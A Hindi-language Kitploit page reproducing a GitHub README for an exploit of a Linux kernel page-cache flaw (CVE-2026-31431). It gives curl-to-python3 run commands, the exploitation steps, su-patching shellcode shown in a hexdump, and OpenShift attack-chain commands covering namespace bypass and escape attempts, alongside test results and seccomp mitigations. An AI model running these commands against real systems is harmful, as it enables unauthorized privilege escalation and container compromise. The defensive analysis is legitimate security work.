Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-31431 — लिनक्स कर्नेल CVE-2026-31431 के लिए एक्सप्लॉइट, जो authencesn AEAD हेरफेर के माध्यम से पेज कैश भ्रष्टाचार का कारण बनता है, जो कंटेनरों और OpenShift वातावरणों में विशेषाधिकार वृद्धि को लक्षित करता है। | Kitploit
उपकरण/GitHubGitHub/seanrickerd/cve-2026-31431
क्लाउड इन्फ्रास्ट्रक्चर सुरक्षाविशेषाधिकार वृद्धिकंटेनर सुरक्षाशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

लिनक्स कर्नेल CVE-2026-31431 के लिए एक्सप्लॉइट, जो authencesn AEAD हेरफेर के माध्यम से पेज कैश भ्रष्टाचार का कारण बनता है, जो कंटेनरों और OpenShift वातावरणों में विशेषाधिकार वृद्धि को लक्षित करता है।

रिपॉजिटरी देखें
1253 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-31431 "कॉपी फेल" - पेज कैश भ्रष्टाचार भेद्यता

authencesn AEAD हेरफेर के माध्यम से Linux कर्नेल पेज कैश भ्रष्टाचार।

⚠️ महत्वपूर्ण: शोषण स्थिति अपडेट (1 मई, 2026)

RHEL 9.6 कर्नेल के साथ कई OpenShift 4.20.16 क्लस्टरों पर व्यापक परीक्षण के बाद:

  • ✅ पेज कैश भ्रष्टाचार: पुष्टि - 160-बाइट शेलकोड सफलतापूर्वक इंजेक्ट किया गया
  • ✅ कर्नेल भेद्यता: विशेषाधिकार-रहित कंटेनरों से शोषण योग्य (शून्य क्षमताएं)
  • ❌ विशेषाधिकार वृद्धि: प्राप्त नहीं - भ्रष्ट कैश के बावजूद UID अपरिवर्तित रहता है
  • ❌ कोड निष्पादन: देखा नहीं गया - संशोधित पेज रीड में दिखाई देते हैं लेकिन निष्पादित नहीं होते
  • ✅ Restricted-v2 SCC: प्रभावी - कंटेनर एस्केप को रोकता है, विस्फोट त्रिज्या सीमित करता है

पूर्ण विवरण के लिए व्यापक परीक्षण परिणाम अनुभाग देखें।


अवलोकन

CVE-2026-31431 authencesn AEAD क्रिप्टोग्राफिक कार्यान्वयन में एक Linux कर्नेल भेद्यता है जो विशेषाधिकार-रहित प्रक्रियाओं को AF_ALG सॉकेट और splice() syscall हेरफेर के माध्यम से पठनीय फाइलों के पेज कैश को भ्रष्ट करने की अनुमति देती है।

परीक्षण से पता चलता है: पेज कैश भ्रष्टाचार विश्वसनीय रूप से काम करता है, लेकिन हमारे परीक्षण वातावरण में RHEL 9.6 कर्नेल पर विशेषाधिकार वृद्धि नहीं होती है।

CVSS स्कोर: 7.8 (उच्च)
प्रभावित: authencesn समर्थन वाले Linux कर्नेल संस्करण (2017-2026) 29 अप्रैल, 2026


सार्वजनिक प्रकटीकरण:

विशेषताएं

  • Python 3.9+ संगत: ctypes के माध्यम से splice() syscall रैपर शामिल है
  • पोर्टेबल: भेद्य कर्नेल वाले किसी भी Linux सिस्टम पर काम करता है
  • विश्वसनीय: किसी रेस कंडीशन की आवश्यकता नहीं
  • स्वच्छ: 160-बाइट शेलकोड, नियतात्मक शोषण

आवश्यकताएं

  • भेद्य authencesn कार्यान्वयन वाला Linux कर्नेल (अप्रैल 2026 पैच से पहले)
  • Python 3.9+
  • विशेषाधिकार-रहित उपयोगकर्ता पहुंच
  • पठनीय setuid बाइनरी (डिफ़ॉल्ट: /usr/bin/su)

उपयोग

बुनियादी उपयोग```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### स्थानीय फ़ाइल से```bash
python3 exploit.py
su

वास्तविक एक्सप्लॉइट व्यवहार (परीक्षण के आधार पर)

क्या होगा:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**पेज कैश सत्यापन (भ्रष्टाचार की पुष्टि करता है):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

क्या नहीं होगा (परीक्षण के आधार पर):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**निष्कर्ष:** पेज कैश भ्रष्टाचार सफल होता है, लेकिन विशेषाधिकार वृद्धि विफल हो जाती है।

## तकनीकी विवरण

### भेद्यता

Linux कर्नेल के `authencesn` (प्रमाणित एन्क्रिप्शन विद एसोसिएटेड डेटा - विस्तारित अनुक्रम संख्या) कार्यान्वयन में इसके इन-प्लेस संचालन हैंडलिंग में एक दोष है। AF_ALG सॉकेट पर सबमिट किए गए AEAD संचालन को संसाधित करते समय, एक पेज-कैश पेज कर्नेल की लिखने योग्य गंतव्य स्कैटरलिस्ट में समाप्त हो सकता है।

### शोषण तकनीक

1. **AF_ALG सॉकेट बनाएं** `authencesn(hmac(sha256),cbc(aes))` के साथ
2. **AEAD पैरामीटर कॉन्फ़िगर करें** (कुंजी, authsize)
3. **लक्षित setuid बाइनरी खोलें** (जैसे, `/usr/bin/su`)
4. **splice() का उपयोग करें** बाइनरी को पेज कैश में लाने के लिए
5. **इन-प्लेस AEAD संचालन ट्रिगर करें** जिससे पेज कैश में लेखन हो
6. **शेलकोड लिखें** एक बार में 4 बाइट्स
7. **संशोधित बाइनरी निष्पादित करें** रूट प्राप्त करने के लिए

### शेलकोड

शोषण एक 160-बाइट शेलकोड का उपयोग करता है जो `/usr/bin/su` को पैच करता है:
- पासवर्ड प्रमाणीकरण छोड़ने के लिए
- रूट शेल एक्सेस प्रदान करने के लिए
- अनविशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए सामान्य कार्यक्षमता बनाए रखने के लिए

## Python 3.9 संगतता

Python 3.9 और पुराने संस्करणों में मानक लाइब्रेरी में `os.splice()` नहीं है। इस शोषण में ctypes-आधारित कार्यान्वयन शामिल है:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

यह एक्सप्लॉइट इन पर काम करता है:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, आदि)
  • ✅ Python 3.10+
  • ✅ ctypes सपोर्ट वाला कोई भी Python

व्यापक परीक्षण परिणाम

परीक्षण वातावरण 1: OpenShift 4.20.16 क्लस्टर (पहला परीक्षण)

नोड कॉन्फ़िगरेशन:

  • कर्नेल: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (सबसे प्रतिबंधात्मक)
  • UID: 1000830000 (यूज़र नेमस्पेस)
  • क्षमताएँ: 0x0000000000000000 (शून्य)

परीक्षण परिणाम:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### परीक्षण वातावरण 2: नया OpenShift क्लस्टर (सत्यापन परीक्षण)

**क्लस्टर:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**नोड कॉन्फ़िगरेशन:**
- कर्नेल: 5.14.0-570.96.1.el9_6.x86_64 (परीक्षण 1 के समान)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (सत्यापित)
- UID: 1000810000 (यूज़र नेमस्पेस)
- क्षमताएँ: 0x0000000000000000 (शून्य)

**परीक्षण परिणाम:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

संगति: स्वतंत्र क्लस्टरों में 100% पुनरुत्पादनीय परिणाम

कंटेनर एस्केप परीक्षण

परिदृश्य A: hostPath वॉल्यूम के साथ (कंटेनर एस्केप संभव)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
परिणाम: ✅ **कंटेनर एस्केप** - होस्ट पेज कैश को संशोधित करता है (डिवाइस 33, आईनोड 4288)

**परिदृश्य B: Restricted-v2 SCC (कोई hostPath नहीं)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

परिणाम: ❌ कोई कंटेनर एस्केप नहीं - केवल कंटेनर ओवरले को प्रभावित करता है (अलग inode)

महत्वपूर्ण निष्कर्ष: hostPath एक्सेस (क्षमताओं का नहीं) कंटेनर एस्केप के लिए निर्धारण कारक है।

विशेषाधिकार वृद्धि विफल क्यों होती है

संभावित स्पष्टीकरण (आगे शोध की आवश्यकता है):

  1. रीड बनाम एक्ज़ीक्यूट कोड पाथ

    • पेज कैश भ्रष्टाचार mmap(PROT_READ) ऑपरेशन को प्रभावित करता है
    • एक्ज़ीक्यूटेबल मैपिंग mmap(PROT_EXEC) भ्रष्ट कैश को बायपास कर सकती हैं
    • कर्नेल एक्ज़ीक्यूटेबल पेजों के लिए अलग कोड पाथ का उपयोग कर सकता है
  2. मेमोरी सुरक्षा

    • W^X (राइट XOR एक्ज़ीक्यूट) प्रवर्तन
    • कर्नेल एक्ज़ीक्यूटेबल पेज सत्यापन
    • SELinux/AppArmor कोड अखंडता जांच
  3. कर्नेल संस्करण विशिष्ट

    • RHEL 9.6 (5.14.0-570.96.1) में अतिरिक्त सुरक्षा हो सकती है
    • मूल CVE शोध में भिन्न कर्नेल संस्करणों का उपयोग किया गया हो सकता है
    • व्यवहार कर्नेल रिलीज़ के अनुसार भिन्न हो सकता है

वास्तव में क्या काम करता है

परीक्षणOpenShift 4.20 #1OpenShift 4.20 #2स्थिति
AF_ALG सॉकेट एक्सेस✅✅काम करता है
पेज कैश भ्रष्टाचार✅✅काम करता है
शेलकोड इंजेक्शन✅✅काम करता है
शेलकोड दृश्यमान (रीड)✅✅काम करता है
UID परिवर्तन (विशेषाधिकार वृद्धि)❌❌विफल
कोड निष्पादन❌❌विफल
कंटेनर एस्केप (restricted-v2)❌❌अवरुद्ध

निष्कर्ष: कर्नेल भेद्यता वास्तविक है (पेज कैश भ्रष्टाचार सिद्ध), लेकिन व्यावहारिक शोषण सीमित है।

परीक्षण किए गए सिस्टम

सिस्टमकर्नेलपेज कैश भ्रष्टाचारविशेषाधिकार वृद्धिनोट्स
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ हाँ❌ नहींOpenShift 4.20.16 वर्कर्स
OpenShift 4.20 कंटेनर5.14.0-570.96.1.el9_6✅ हाँ❌ नहींrestricted-v2 SCC

नोट: परीक्षण केवल RHEL 9.6 कर्नेल तक सीमित। अन्य वितरणों/संस्करणों पर व्यवहार सत्यापित नहीं।

OpenShift कंटेनर परीक्षण

RHEL CoreOS 9.4 चलाने वाले OpenShift 4.20 क्लस्टर पर सफलतापूर्वक परीक्षण किया गया। यह अनुभाग नेमस्पेस अलगाव बायपास और कंटेनर समझौते का दस्तावेजीकरण करता है।

⚠️ महत्वपूर्ण सुधार: प्रारंभिक परीक्षण ने गलत तरीके से /proc/1/root के माध्यम से होस्ट फाइलसिस्टम एक्सेस का दावा किया। यह गलत था - एक अलग कंटेनर में /proc/1/root कंटेनर की अपनी फाइलसिस्टम को इंगित करता है, OpenShift वर्कर नोड होस्ट को नहीं। विस्तृत विश्लेषण के लिए attacks/README.md देखें।

हमले की श्रृंखला सारांश```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### चरण 1: नेमस्पेस आइसोलेशन बायपास

**भेद्यता:** OpenShift आंतरिक रजिस्ट्री उचित RBAC प्रवर्तन के बिना क्रॉस-नेमस्पेस इमेज पुल की अनुमति देती है।

**शोषण:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

परिणाम:

  • ✅ openshift/cli इमेज को openshift नेमस्पेस से खींचा गया
  • ✅ oc, kubectl, curl, openssl, Python 3.9 तक पहुंच प्राप्त हुई
  • ✅ नेमस्पेस आइसोलेशन को बायपास किया गया

प्रभाव: टेनेंट-से-टेनेंट लेटरल मूवमेंट और विशेषाधिकार प्राप्त टूलिंग एक्सेस की अनुमति देता है।

चरण 2: कंटेनर में कर्नेल एक्सप्लॉइटेशन

डिप्लॉयमेंट:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**परिणाम:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

एक्सप्लॉइट के बाद की क्षमताएँ:

  • ✅ पेज कैश भ्रष्टाचार सफल (160 बाइट्स शेलकोड दिखाई दे रहा है)
  • ⚠️ कोई विशेषाधिकार वृद्धि नहीं - UID अपरिवर्तित रहता है (यूज़र नेमस्पेस UID)
  • ✅ पेज कैश में कंटेनर फ़ाइलों को भ्रष्ट कर सकता है (READ ऑपरेशन प्रभावित)
  • ✅ नेटवर्क एक्सेस (API सर्वर, रजिस्ट्री, इंटरनेट)
  • ❌ नहीं दावों के बावजूद वास्तविक रूट एक्सेस
  • ❌ नहीं क्षमताएँ (सभी CapPrm/CapEff = 0x0000000000000000)
  • ❌ अभी भी अलग-थलग PID/mount/user नेमस्पेस में
  • ❌ नहीं वर्कर नोड होस्ट फ़ाइलसिस्टम तक पहुँच
  • ❌ नहीं होस्ट प्रोसेस की दृश्यता

चरण 3: कंटेनर वातावरण विश्लेषण

वास्तविकता जाँच - /proc/1/root होस्ट नहीं है:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**कंटेनर OS विवरण:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

चरण 4: कंटेनर से नेटवर्क रिकॉनिसेंस

कंटेनर में बनाए गए स्क्रिप्ट्स (attacks/ डायरेक्टरी में उपलब्ध):

1. कंटेनर रिकॉनिसेंस (recon.sh - 1425 बाइट्स)

  • कंटेनर वातावरण की गणना करता है
  • पॉड परिप्रेक्ष्य से नेटवर्क कॉन्फ़िगरेशन
  • चल रही प्रक्रियाएँ (केवल कंटेनर, होस्ट नहीं)
  • Kubernetes/OpenShift सेवाओं की खोज के प्रयास
  • वास्तविकता: केवल कंटेनर का अपना वातावरण देखता है

2. लेटरल मूवमेंट स्क्रिप्ट (lateral.sh - 1754 बाइट्स)

  • पॉड IP (10.130.x.x रेंज) से नेटवर्क स्कैनिंग
  • API सर्वर कनेक्टिविटी परीक्षण
  • सेवा खोज के प्रयास
  • वास्तविकता: केवल पॉड नेटवर्क परिप्रेक्ष्य तक सीमित, होस्ट तक कोई पहुँच नहीं

3. असफल होस्ट एक्सप्लॉइटेशन प्रयास

  • host-rootkit.py - /proc/1/root/usr/bin/su में बैकडोर डालने के प्रयास
    • परिणाम: केवल कंटेनर के su में बैकडोर डालता है, होस्ट के su में नहीं
  • modprobe-escape.py - कर्नेल मॉड्यूल एस्केप के प्रयास
    • परिणाम: रीड-ओनली /proc फाइलसिस्टम द्वारा अवरुद्ध
  • trigger-rootkit.sh - बैकडोर किए गए su को ट्रिगर करता है
    • परिणाम: कंटेनर में रूट प्राप्त करता है (बेस एक्सप्लॉइट के समान)

क्या काम किया बनाम क्या नहीं, इसका पूर्ण विश्लेषण attacks/README.md में देखें।

पॉड से नेटवर्क क्षमताएँ

कनेक्टिविटी परीक्षण:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**पार्श्व गति के अवसर:**
- ✅ पूर्ण इंटरनेट एक्सेस (टूल डाउनलोड करना, C2 संचार, डेटा निष्कासन)
- ✅ आंतरिक API एक्सेस (क्लस्टर संसाधनों की गणना करना)
- ✅ आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग हमले)
- ✅ पॉड नेटवर्क के माध्यम से क्रॉस-नोड स्कैनिंग

### अवरुद्ध होस्ट एस्केप तकनीकें

ये तकनीकें आज़माई गईं लेकिन OpenShift सुरक्षा नियंत्रणों द्वारा अवरुद्ध कर दी गईं:

**1. nsenter (यूज़र नेमस्पेस रोकता है)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot (इसके लिए CAP_SYS_CHROOT आवश्यक है)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. कर्नेल मॉड्यूल लोडिंग (कोई क्षमताएँ नहीं + RHCOS हार्डनिंग)**
- RHCOS पर कोई `insmod`, `modprobe`, `kmod` बाइनरी नहीं हैं
- `/lib/modules` खाली है (कंटेनर-अनुकूलित OS)
- `CAP_SYS_MODULE` उपलब्ध नहीं है
- `/proc/sys/kernel/modprobe` केवल-पठनीय माउंट किया गया है

**4. cgroup release_agent (केवल-पठनीय माउंट किया गया)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. /proc/sys हेरफेर (रीड-ओनली फाइलसिस्टम)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### हमने वास्तव में क्या हासिल किया

✅ **नेमस्पेस आइसोलेशन बायपास**
- आंतरिक रजिस्ट्री से क्रॉस-नेमस्पेस इमेज पुलिंग
- विशेषाधिकार प्राप्त कंटेनर इमेज तक पहुंच (openshift/cli)

✅ **कंटेनर में पेज कैश भ्रष्टाचार**
- CVE-2026-31431 के माध्यम से कंटेनर के `/usr/bin/su` पेज कैश को संशोधित किया
- 160-बाइट शेलकोड इंजेक्शन की पुष्टि हुई (hexdump में दिखाई देता है)
- भ्रष्टाचार कंटेनर फाइलों पर READ ऑपरेशन को प्रभावित करता है

✅ **पॉड से नेटवर्क एक्सेस**
- पूर्ण इंटरनेट कनेक्टिविटी (exfiltration, C2, टूल डाउनलोड)
- आंतरिक API सर्वर एक्सेस (RBAC द्वारा सीमित)
- आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग की संभावना)
- पॉड नेटवर्क के माध्यम से क्रॉस-पॉड स्कैनिंग

❌ **विशेषाधिकार वृद्धि - विफल**
- पेज कैश भ्रष्ट हुआ लेकिन कोई रूट एक्सेस प्राप्त नहीं हुआ
- UID अपरिवर्तित रहता है (यूज़र नेमस्पेस UID ~1000000+)
- विशेषाधिकार प्राप्त ऑपरेशन निष्पादित नहीं कर सकते
- /etc/shadow या अन्य प्रतिबंधित फाइलों तक कोई पहुंच नहीं

❌ **होस्ट फाइलसिस्टम एक्सेस - विफल**
- `/proc/1/root` **कंटेनर** के रूट की ओर इशारा करता है, होस्ट की ओर नहीं
- OpenShift वर्कर नोड फाइलसिस्टम तक कोई वास्तविक पहुंच नहीं
- स्क्रिप्ट कंटेनर के `/tmp` में तैनात की गईं, होस्ट के `/tmp` में नहीं
- डिवाइस/इनोड आइसोलेशन होस्ट पेज कैश एक्सेस को रोकता है

❌ **पूर्ण होस्ट एस्केप - अवरुद्ध**
- यूज़र नेमस्पेस आइसोलेशन प्रभावी
- शून्य क्षमताएं nsenter/chroot/host एक्सेस को रोकती हैं
- SCC विशेषाधिकार प्राप्त पॉड निर्माण को अवरुद्ध करता है
- RHCOS हार्डनिंग मॉड्यूल लोडिंग को रोकता है
- restricted-v2 कंटेनर एस्केप को रोकता है

### OpenShift सुरक्षा मूल्यांकन

**नियंत्रण जो काम कर गए ✅**
- सिक्योरिटी कॉन्टेक्स्ट कंस्ट्रेंट्स (SCC) - कंटेनर एस्केप को रोका
- यूज़र नेमस्पेस - पेज कैश को कंटेनर ओवरले में आइसोलेट किया
- शून्य क्षमताएं - कर्नेल एक्सप्लॉइट के बावजूद होस्ट एक्सेस को रोका
- SELinux प्रवर्तन - कंटेनर आइसोलेशन बनाए रखा
- रीड-ओनली /proc/sys - कर्नेल हेरफेर प्रयासों को अवरुद्ध किया
- RHCOS हार्डनिंग - कोई मॉड्यूल लोडिंग क्षमता नहीं

**नियंत्रण जो आंशिक रूप से काम कर गए ⚠️**
- Seccomp RuntimeDefault - सक्रिय लेकिन AF_ALG सॉकेट की अनुमति देता है
- क्षमता ड्रॉपिंग - प्रभावी लेकिन पेज कैश भ्रष्टाचार को नहीं रोकता

**नियंत्रण जो विफल रहे ❌**
- नेमस्पेस RBAC - क्रॉस-नेमस्पेस इमेज पुल की अनुमति दी
- कर्नेल सुरक्षा - AF_ALG इंटरफ़ेस कंटेनरों से सुलभ
- सिस्कॉल फ़िल्टरिंग - splice() डिफ़ॉल्ट seccomp द्वारा प्रतिबंधित नहीं

**समग्र मूल्यांकन:**
जबकि CVE-2026-31431 एक वास्तविक कर्नेल भेद्यता है, OpenShift का डिफेंस-इन-डेप्थ दृष्टिकोण (SCC + यूज़र नेमस्पेस + क्षमता ड्रॉपिंग + फाइलसिस्टम आइसोलेशन) ने सार्थक शोषण को रोका। एक्सप्लॉइट पेज कैश को भ्रष्ट करता है लेकिन restricted-v2 पॉड्स से कोई विशेषाधिकार वृद्धि या कंटेनर एस्केप प्राप्त नहीं करता।

### OpenShift के लिए सिफारिशें

**1. AF_ALG सॉकेट को ब्लॉक करें**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. इमेज रजिस्ट्री RBAC लागू करें```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. उन्नत Seccomp प्रोफ़ाइल**
खतरनाक syscalls को ब्लॉक करें:
- `socket(AF_ALG, ...)` - फ़ैमिली 38
- `splice()` को केवल विश्वसनीय फ़ाइल डिस्क्रिप्टर तक सीमित करें
- `init_module`, `finit_module` को ब्लॉक करें यदि पहले से ब्लॉक नहीं हैं

**4. रनटाइम मॉनिटरिंग**
इन पर अलर्ट करें:
- कंटेनरों में AF_ALG socket निर्माण
- क्रॉस-नेमस्पेस इमेज पुल
- संदिग्ध `splice()` syscall पैटर्न
- कंटेनर समझौता संकेतक (अप्रत्याशित रूट प्रोसेस)

### पूर्ण आक्रमण दस्तावेज़ीकरण

पूर्ण आक्रमण श्रृंखला दस्तावेज़ीकरण के लिए जिसमें शामिल हैं:
- शोषण की समयरेखा
- MITRE ATT&CK मैपिंग
- विस्तृत तकनीकी विश्लेषण
- सभी टोही स्क्रिप्ट

देखें:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - क्या काम किया बनाम क्या नहीं, इसका विस्तृत विश्लेषण
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - मूल दस्तावेज़ीकरण (इसमें त्रुटियाँ हैं, सुधार के लिए attacks/README.md देखें)

## शमन उपाय

### तत्काल```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Seccomp फ़िल्टर

AF_ALG सॉकेट निर्माण को ब्लॉक करें:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### कर्नेल पैच

विक्रेता पैच लागू करें:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 पर निगरानी रखें
- Ubuntu: `apt update && apt upgrade linux-image-*`
- अपस्ट्रीम: authencesn को आउट-ऑफ-प्लेस संचालनों में वापस लाने वाला कर्नेल 6.x+

## अक्सर पूछे जाने वाले प्रश्न

### प्रश्न: क्या यह एक्सप्लॉइट मुझे रूट एक्सेस देता है?

**उत्तर:** नहीं - RHEL 9.6 कर्नेल (5.14.0-570.96.1) पर व्यापक परीक्षण के आधार पर, एक्सप्लॉइट कर्नेल पेज कैश को सफलतापूर्वक दूषित करता है लेकिन विशेषाधिकार वृद्धि प्राप्त नहीं करता है। बैकडोर बाइनरी निष्पादित करने के बाद UID अपरिवर्तित रहता है।

### प्रश्न: क्या मैं प्रतिबंधित Kubernetes/OpenShift कंटेनर से बच सकता हूँ?

**उत्तर:** नहीं (प्रतिबंधित-v2 SCC के साथ) - पेज कैश भ्रष्टाचार कंटेनर के ओवरले फाइलसिस्टम तक सीमित है। कंटेनर से बचने के लिए hostPath या समान वॉल्यूम के माध्यम से साझा होस्ट संसाधनों तक पहुंच की आवश्यकता होती है। प्रतिबंधित-v2 SCC होस्ट संसाधन पहुंच को अवरुद्ध करके प्रभावी रूप से बचाव को रोकता है।

### प्रश्न: एक्सप्लॉइट "रूट" का दावा क्यों करता है लेकिन परीक्षण दिखाता है कि यह काम नहीं करता?

**उत्तर:** एक्सप्लॉइट कोड CVE प्रकटीकरण और सैद्धांतिक विश्लेषण के आधार पर लिखा गया था। RHEL 9.6 कर्नेल पर हमारे वास्तविक-विश्व परीक्षण से पता चला:
- पेज कैश भ्रष्टाचार काम करता है ✅ (hexdump के माध्यम से सिद्ध)
- दूषित कैश से कोड निष्पादन काम नहीं करता ❌ (UID अपरिवर्तित)

यह निम्न कारणों से हो सकता है:
- कर्नेल संस्करण अंतर (RHEL 9.6 में सुरक्षा हो सकती है)
- W^X मेमोरी सुरक्षा प्रवर्तन
- निष्पादन बनाम पठन मेमोरी कोड पथ में अंतर

### प्रश्न: क्या यह सभी Linux कर्नेल पर काम करता है?

**उत्तर:** अज्ञात - परीक्षण निम्न तक सीमित था:
- RHEL CoreOS 9.6 (कर्नेल 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 वर्कर नोड्स

अन्य वितरणों/कर्नेल संस्करणों पर व्यवहार सत्यापित नहीं किया गया है। मूल CVE अनुसंधान स्थितियाँ भिन्न हो सकती हैं।

### प्रश्न: क्या मुझे अभी भी अपने सिस्टम को पैच करना चाहिए?

**उत्तर:** हाँ - बिल्कुल। भले ही विशेषाधिकार वृद्धि प्राप्त नहीं हुई:

1. कर्नेल भेद्यता वास्तविक है (पेज कैश भ्रष्टाचार की पुष्टि हुई)
2. व्यवहार अन्य कर्नेल संस्करणों पर भिन्न हो सकता है
3. hostPath वॉल्यूम के साथ, कंटेनर से बचाव संभव है
4. गहराई में रक्षा के लिए सभी भेद्यताओं को समाप्त करना आवश्यक है
5. भविष्य के अनुसंधान कोड निष्पादन प्राप्त करने के तरीके खोज सकते हैं

सुरक्षा के लिए कर्नेल पैचिंग अनिवार्य है।

### प्रश्न: आपने अपने परीक्षण में वास्तव में क्या सिद्ध किया?

**उत्तर:** 2 स्वतंत्र OpenShift क्लस्टरों पर हमारे व्यापक परीक्षण ने सिद्ध किया:

✅ **पुष्टि की गई:**
